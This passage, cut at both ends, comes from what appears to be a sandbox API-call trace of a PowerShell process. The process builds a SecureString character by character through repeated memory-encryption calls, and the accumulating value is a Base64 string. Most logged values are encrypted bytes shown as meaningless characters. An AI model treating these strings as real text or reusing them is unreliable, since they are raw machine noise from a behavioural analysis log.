lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.634] EtwEventActivityIdControl () returned 0x0 [0244.634] EtwEventActivityIdControl () returned 0x0 [0244.634] EtwEventActivityIdControl () returned 0x0 [0244.635] SysStringLen (param_1="") returned 0x8 [0244.635] SysStringLen (param_1="N") returned 0x8 [0244.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.635] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.635] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.635] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.635] SysStringLen (param_1="ND") returned 0x8 [0244.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.635] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.635] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.635] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.635] SysStringLen (param_1="NDZ") returned 0x8 [0244.636] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.636] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.636] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.636] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.636] SysStringLen (param_1="NDZl") returned 0x8 [0244.636] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.636] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.636] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.636] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.636] SysStringLen (param_1="NDZlO") returned 0x8 [0244.636] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.636] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.636] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.637] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.637] SysStringLen (param_1="NDZlOD") returned 0x8 [0244.637] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.637] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.637] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.637] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.637] SysStringLen (param_1="NDZlODR") returned 0x8 [0244.637] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.637] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.637] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.637] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.637] SysStringLen (param_1="NDZlODRm") returned 0x8 [0244.637] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0244.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.639] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.639] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.639] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.639] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.639] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0244.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.640] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.640] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0244.640] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.640] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.640] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0244.640] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.640] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.641] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0244.641] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.641] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.641] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0244.641] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.641] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.641] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0244.641] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0244.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.642] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0244.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.643] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.643] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0244.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.643] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.643] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0244.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.644] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.644] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0244.644] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.644] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.644] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0244.644] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.645] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0244.645] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.645] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0244.645] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.645] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.646] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0244.646] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0244.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.647] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0244.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.647] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.647] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0244.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.647] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.647] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0244.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.648] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0244.648] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.648] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0244.648] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.648] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0244.649] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.649] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0244.649] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.649] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.650] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0244.650] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0244.650] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.651] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0244.651] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.651] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.651] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0244.651] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.651] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.651] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0244.651] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.651] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0244.652] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.652] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0244.652] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.652] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0244.652] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.653] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.653] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0244.653] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.653] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.653] SysStringLen 